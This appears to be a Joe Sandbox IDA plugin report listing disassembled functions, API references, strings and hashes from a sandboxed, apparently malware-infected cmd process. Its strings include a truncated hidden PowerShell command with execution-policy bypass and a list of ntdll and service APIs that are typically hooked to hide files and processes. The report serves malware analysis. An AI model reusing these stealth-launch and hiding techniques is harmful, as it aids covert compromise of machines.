Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmp$EnvironmentVariable
String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$CMDCMDLINE$CMDEXTVERSION$DATE$ERRORLEVEL$HIGHESTNUMANODENUMBER$RANDOM$TIME
API String ID: 198002717-267741548
Opcode ID: 86cb16d536f244c24baf619aaa5ba530f3c61f8a6c087709382502a2cbb2fdc2
Instruction ID: 8e97e3e1015b50505e1235df05fc216abeeaf261006c1c80d829bc98b0d074f0
Opcode Fuzzy Hash: 86cb16d536f244c24baf619aaa5ba530f3c61f8a6c087709382502a2cbb2fdc2
Instruction Fuzzy Hash: 72513021A08E438AF790BB15A850279EB68FF4DBA0FC49035C95E63754EF6DE15C8770

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EEF40 Relevance: 33.7, APIs: 16, Strings: 3, Instructions: 465COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 00007FF7137EF000
wcschr.MSVCRT ref: 00007FF7137EF031
iswdigit.MSVCRT ref: 00007FF7137EF0D6

Strings

()|&=,;", xrefs: 00007FF7137EF3EC, 00007FF7137EF6D0
Ungetting: '%s', xrefs: 00007FF7137FD0E1
=,;, xrefs: 00007FF7137EEF9D, 00007FF7137EF1CE, 00007FF7137EF342, 00007FF7137EF61A

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: iswdigitiswspacewcschr
String ID: ()|&=,;"$=,;$Ungetting: '%s'
API String ID: 1595556998-2755026540
Opcode ID: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
Instruction ID: 7fa8e22b90e0502bcc158a3f848836e504972de81ff53bd7f50a6d642401471f
Opcode Fuzzy Hash: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
Instruction Fuzzy Hash: 33228EA5E0CE5681FBE07B15A480279E6A0BF097B1FC24232D99D72AD4DF3CA45DD630

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137ED3F0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 310memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED46E
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED485
wcschr.MSVCRT ref: 00007FF7137ED4EE
iswspace.MSVCRT ref: 00007FF7137ED54D
wcschr.MSVCRT ref: 00007FF7137ED569
wcschr.MSVCRT ref: 00007FF7137ED58C
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED5EE
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED605
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED61F
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED633

Strings

=,;, xrefs: 00007FF7137ED4D0
", xrefs: 00007FF7137ED5AB

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Processwcschr$Alloc$Sizeiswspace
String ID: "$=,;
API String ID: 3545743878-4143597401
Opcode ID: 41b55f4c43934df12ec69819f95cbaf5faa5e7209c82e771a15df21cb83dbe60
Instruction ID: e02a97cddb360842923323276f60a60ef058ce16de8d5a542898f159f2ebc558
Opcode Fuzzy Hash: 41b55f4c43934df12ec69819f95cbaf5faa5e7209c82e771a15df21cb83dbe60
Instruction Fuzzy Hash: 12C1A365A08E5289EBA57B159080379F6A1FF4DF64F849235CE5E32394EF3CA44DC230

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B1EB0 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 72librarythreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 000002155A5B1EBD
GetCurrentThread.KERNEL32 ref: 000002155A5B1EC8

Part of subcall function 000002155A5B21C0: GetModuleHandleA.KERNEL32 ref: 000002155A5B21D8
Part of subcall function 000002155A5B21C0: GetProcAddress.KERNEL32 ref: 000002155A5B21E9

Part of subcall function 000002155A5B5CB0: GetCurrentThreadId.KERNEL32 ref: 000002155A5B5CEB

Strings

ntdll.dll, xrefs: 000002155A5B1ED6
NtEnumerateKey, xrefs: 000002155A5B1F62
EnumServiceGroupW, xrefs: 000002155A5B1F99
NtEnumerateValueKey, xrefs: 000002155A5B1F7F
NtDeviceIoControlFile, xrefs: 000002155A5B1FFF
sechost.dll, xrefs: 000002155A5B1FE2
Sysprep_Clean_Validate_Opk, xrefs: 000002155A5B2019
spopk.dll, xrefs: 000002155A5B1EB6, 000002155A5B2020
NtResumeThread, xrefs: 000002155A5B1F0B
EnumServicesStatusExW, xrefs: 000002155A5B1FBA, 000002155A5B1FDB
advapi32.dll, xrefs: 000002155A5B1FA0, 000002155A5B1FC1
NtQuerySystemInformation, xrefs: 000002155A5B1EEE
NtQueryDirectoryFile, xrefs: 000002155A5B1F28
NtQueryDirectoryFileEx, xrefs: 000002155A5B1F45

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentThread$AddressHandleLibraryLoadModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$Sysprep_Clean_Validate_Opk$advapi32.dll$ntdll.dll$sechost.dll$spopk.dll
API String ID: 1741086925-759476645
Opcode ID: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction ID: c7f81955cdff20067df238b0ddb5d7db7fc413d33bddc3bf9f4deecae0fc1fa8
Opcode Fuzzy Hash: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction Fuzzy Hash: 8B418674122D6AF0FE04DB55E86EED82727A7E574DFC044A3B50A1617A9F7C824DC360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713805BF4 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 153windowthreadCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF713805CD5
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF713805D54

Strings

FailFast, xrefs: 00007FF713805C85
%hs!%p: , xrefs: 00007FF713805D1F
[%hs(%hs)], xrefs: 00007FF713805E04
(caller: %p) , xrefs: 00007FF713805D3F
%hs(%u)\%hs!%p: , xrefs: 00007FF713805D01
Exception, xrefs: 00007FF713805CA0
[%hs], xrefs: 00007FF713805E1D
%hs(%d) tid(%x) %08X %ws, xrefs: 00007FF713805D6D
, xrefs: 00007FF713805DA7
CallContext:[%hs] , xrefs: 00007FF713805DDD
LogHr, xrefs: 00007FF713805C8E
ReturnHr, xrefs: 00007FF713805C97
Msg:[%ws] , xrefs: 00007FF713805DC2

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentFormatMessageThread
String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%u)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$Msg:[%ws] $ReturnHr$[%hs(%hs)]$[%hs]
API String ID: 2411632146-3173542853
Opcode ID: fb2fb1c3bf230b004cc3ce09a0c69924bb125e2a6cca917ccdca682aa570422a
Instruction ID: 092b5d46aefba5b7d98731528cb389fef54fced99227d423d8143bbc78d7a6c7
Opcode Fuzzy Hash: fb2fb1c3bf230b004cc3ce09a0c69924bb125e2a6cca917ccdca682aa570422a
Instruction Fuzzy Hash: F8616C71A09E42C5EBA4EB51A4045B9A7E0FF44BA8FC80136DD4D2B754CF3EE5698730

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B12C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002155A5B1326
GetProcessHeap.KERNEL32 ref: 000002155A5B1334
HeapAlloc.KERNEL32 ref: 000002155A5B1345
RegEnumValueW.ADVAPI32 ref: 000002155A5B13A1

Part of subcall function 000002155A5B1554: StrCmpIW.SHLWAPI ref: 000002155A5B1585

GetProcessHeap.KERNEL32 ref: 000002155A5B13E9
HeapAlloc.KERNEL32 ref: 000002155A5B13F7
GetProcessHeap.KERNEL32 ref: 000002155A5B141B
HeapFree.KERNEL32 ref: 000002155A5B1429
lstrlenW.KERNEL32 ref: 000002155A5B1432
GetProcessHeap.KERNEL32 ref: 000002155A5B1440
HeapAlloc.KERNEL32 ref: 000002155A5B144E
StrCpyW.SHLWAPI ref: 000002155A5B1470
GetProcessHeap.KERNEL32 ref: 000002155A5B1485
HeapFree.KERNEL32 ref: 000002155A5B1493

Strings

d, xrefs: 000002155A5B1365

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 6bcc7a94b8732a062315a7af28d29bd62de89db6d10a7923a3b74cbbd2f289e1
Instruction ID: 27b2178dc2995045d5769150ebd24a0060d458fe62719d9a81dcdb5bedbe776c
Opcode Fuzzy Hash: 6bcc7a94b8732a062315a7af28d29bd62de89db6d10a7923a3b74cbbd2f289e1
Instruction Fuzzy Hash: AD517B72205B58E6FB50CB62E458BD9B7A2F7D9B98F848124EB4A07B18DF38C0598740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F26E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 187fileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F277D
_open_osfhandle.MSVCRT ref: 00007FF7137F279E

Strings

con, xrefs: 00007FF7137F27EF

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CreateFile_open_osfhandle
String ID: con
API String ID: 2905481843-4257191772
Opcode ID: bb4e9a8148a0ebbab0b20462a10cedd0498cb3513ed2e56bee41ab165d728bb2
Instruction ID: 2790992f76e87b3049637e50cd0f4b5e598ebaf39b789b868170f784eaf516f2
Opcode Fuzzy Hash: bb4e9a8148a0ebbab0b20462a10cedd0498cb3513ed2e56bee41ab165d728bb2
Instruction Fuzzy Hash: 2371B676608A818AE7A0AF14E440679FAA4FB8DB70F944234DA6E527D4DF3DD44DCB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7138093E8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F33A8: iswspace.MSVCRT ref: 00007FF7137F33C0

wcsrchr.MSVCRT ref: 00007FF713809465

Part of subcall function 00007FF7137F9158: RtlCaptureContext.NTDLL ref: 00007FF7137F9163
Part of subcall function 00007FF7137F9158: RtlLookupFunctionEntry.NTDLL ref: 00007FF7137F9182
Part of subcall function 00007FF7137F9158: RtlVirtualUnwind.NTDLL ref: 00007FF7137F91CF
Part of subcall function 00007FF7137F9158: __raise_securityfailure.LIBCMT ref: 00007FF7137F9245

wcschr.MSVCRT ref: 00007FF713809486
wcsrchr.MSVCRT ref: 00007FF7138094C1
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7138094E5
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF7138094FC
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF713809519
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF71380952A
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF713809541
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF71380955E
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF713809587
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF7138095E1
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF7138095FD

Strings

, xrefs: 00007FF7138095BA

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleMode$Handle$wcsrchr$CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailureiswspacewcschr
String ID:
API String ID: 3829876242-3916222277
Opcode ID: f4952ccc81e9fcc75ba476bb44cabcc8e232d9e47a520838f14b2d4a8637c121
Instruction ID: ad255a79f1d9856a54b513f0468c1b248688e0909ca755c8f552af04d18616f2
Opcode Fuzzy Hash: f4952ccc81e9fcc75ba476bb44cabcc8e232d9e47a520838f14b2d4a8637c121
Instruction Fuzzy Hash: 99618036A08E428AEB94AB11941017EF6E4FFC9B64F858134DE1E27794DF3DE51D8720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713811A40 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF713811AA6
memset.MSVCRT ref: 00007FF713811ACC

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF713811B3E
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF713811B67
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF713811BD7
_wcsicmp.MSVCRT ref: 00007FF713811C05
_wcsicmp.MSVCRT ref: 00007FF713811C34
_wcsicmp.MSVCRT ref: 00007FF713811C63
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF713811C89
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF713811CA9

Strings

NTFS, xrefs: 00007FF713811BFA
CSVFS, xrefs: 00007FF713811C58
REFS, xrefs: 00007FF713811C29

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmpmemset$Volume$DriveInformationNamePathType
String ID: CSVFS$NTFS$REFS
API String ID: 3510147486-2605508654
Opcode ID: 0ee8c208da2ed77d277b3b8165e731868a5eb32fb0ce304e78f4d7262e372441
Instruction ID: 265e23a952d721fe9fff7d30e809ab0459430804060d3406e22a8fbb92750e1e
Opcode Fuzzy Hash: 0ee8c208da2ed77d277b3b8165e731868a5eb32fb0ce304e78f4d7262e372441
Instruction Fuzzy Hash: E3617E32708FC28AEBA19F21D8453E9B7A4FB49B94F844135CA4D5BB58DF79D208C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E72B0 Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 283COMMON

Download Yara Rule

APIs

longjmp.MSVCRT(?,00000000,00000000,00007FF7137E7279,?,?,?,?,?,00007FF7137EBFA9), ref: 00007FF713804485

Strings

IF /?, xrefs: 00007FF713804664
FOR /?, xrefs: 00007FF713804654
REM /?, xrefs: 00007FF713804678
EQU , xrefs: 00007FF71380477D
GTR , xrefs: 00007FF7138047B5
NEQ , xrefs: 00007FF71380478B
FOR, xrefs: 00007FF713804535
LSS , xrefs: 00007FF713804799
== , xrefs: 00007FF713804765
LEQ , xrefs: 00007FF7138047A7
GEQ , xrefs: 00007FF7138047C1

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: longjmp
String ID: == $EQU $FOR$FOR /?$GEQ $GTR $IF /?$LEQ $LSS $NEQ $REM /?
API String ID: 1832741078-366822981
Opcode ID: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
Instruction ID: 23e41ca1f11c1c34f5171874e789c536a23edfa158ec564796a8d44a4717168d
Opcode Fuzzy Hash: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
Instruction Fuzzy Hash: 2DC1AF60E0CE8285E7E4BB5A55805B8E7E1AB4ABA4FD40136CD0D7B691CF3EA45D8730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EB998 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 275COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137ECD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137EB9A1,?,?,?,?,00007FF7137ED81A), ref: 00007FF7137ECDA6
Part of subcall function 00007FF7137ECD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF7137EB9A1,?,?,?,?,00007FF7137ED81A), ref: 00007FF7137ECDBD

memset.MSVCRT ref: 00007FF7137EBA2B
wcschr.MSVCRT ref: 00007FF7137EBA8A
wcschr.MSVCRT ref: 00007FF7137EBAAA

Strings

-, xrefs: 00007FF7137FC3EA
=,;, xrefs: 00007FF7137EBC9C
:.\, xrefs: 00007FF7137EBAA3
=,;+/[] ", xrefs: 00007FF7137EBA83

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heapwcschr$AllocateProcessmemset
String ID: -$:.\$=,;$=,;+/[] "
API String ID: 2060774286-969133440
Opcode ID: 5a97b88e3d91fa77f019465bf968588e8ce7d313c2801e2b530795d61cd4474f
Instruction ID: e4c6cc33e5b9f1d1e9c4084e4eab51b4bfff61f345595b2c73dcb0cc1c3620b5
Opcode Fuzzy Hash: 5a97b88e3d91fa77f019465bf968588e8ce7d313c2801e2b530795d61cd4474f
Instruction Fuzzy Hash: FAB19121A0DE5281EAE0AB1590C4279EAA4FF4CBA4FD54235CA5E777A4DF3CE44D8730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F2B94 Relevance: 19.6, APIs: 6, Strings: 7, Instructions: 110COMMON

Download Yara Rule

Strings

NEQ, xrefs: 00007FF7137F2C82
GTR, xrefs: 00007FF7137F2CD0
NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){$xCaUG=[System.Secu, xrefs: 00007FF7137F2C2D
GEQ, xrefs: 00007FF7137F2D38
EQU, xrefs: 00007FF7137F2C6B
LSS, xrefs: 00007FF7137F2C9C
LEQ, xrefs: 00007FF7137F2CB6

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID:
String ID: EQU$GEQ$GTR$LEQ$LSS$NEQ$NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){$xCaUG=[System.Secu
API String ID: 0-4065707121
Opcode ID: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
Instruction ID: 7704f55d04948e57bb06a3cd7ee0e9b7508db2ed126e087ec523da9662d49f1d
Opcode Fuzzy Hash: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
Instruction Fuzzy Hash: 7C51A024A0CE0386F794BF25A440279A7A8BF49B65FC04034C62E772A4DF3DA01CC370

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EFC30 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137EFC38
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137EFC52
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF7137F0181
memset.MSVCRT ref: 00007FF7137FD580
longjmp.MSVCRT ref: 00007FF7137FD59F
memmove.MSVCRT ref: 00007FF7137FD5C4
longjmp.MSVCRT ref: 00007FF7137FD5FC
longjmp.MSVCRT ref: 00007FF7137FD62B
longjmp.MSVCRT ref: 00007FF7137FD660

Strings

0123456789, xrefs: 00007FF7137EFDEE
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VO, xrefs: 00007FF7137EFD7F, 00007FF7137FD585, 00007FF7137FD5CB

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
